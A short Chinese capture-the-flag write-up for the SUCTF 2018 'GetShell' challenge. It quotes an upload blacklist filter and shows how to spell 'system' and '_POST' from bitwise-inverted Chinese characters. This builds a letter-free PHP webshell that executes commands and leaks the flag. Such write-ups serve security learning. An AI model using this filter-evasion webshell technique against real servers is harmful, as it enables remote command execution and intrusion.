[SUCTF 2018]GetShell
在 upload 页面看到源码
文件包含题, 包含我们上传的文件. 传一个图片马, 发现被 ban 了
- if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
- $data=substr($contents,5);
- foreach ($black_char as $b) {
- if (stripos($data, $b) !== false){
- die("illegal char");
- }
- }
- }
需要测试看看哪些被过滤了.
经过测试发现基本都被过滤了, 只剩下 $().;=[]]_~ 这些可以利用
想到之前看的一篇博文: 不用字母和数字进行构造 webshell
离别歌的博文 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
echo ~ 茉 [$____];//s
echo ~ 内 [$____];//y
echo ~ 茉 [$____];//s
echo ~ 苏 [$____];//t
echo ~ 的 [$____];//e
echo ~ 咩 [$____];//m
echo ~ 课 [$____];//P
echo ~ 尬 [$____];//O
echo ~ 笔 [$____];//S
echo ~ 端 [$____];//T
echo ~ 瞎 [$____];//a
上传一个 PHP 文件后, 可以用 $_POST[a] 来执行系统命令
hackbar 传一个 a=env, 列出所有环境变量即可得到 flag
[SUCTF 2018]GetShell
来源: http://www.bubuko.com/infodetail-3650716.html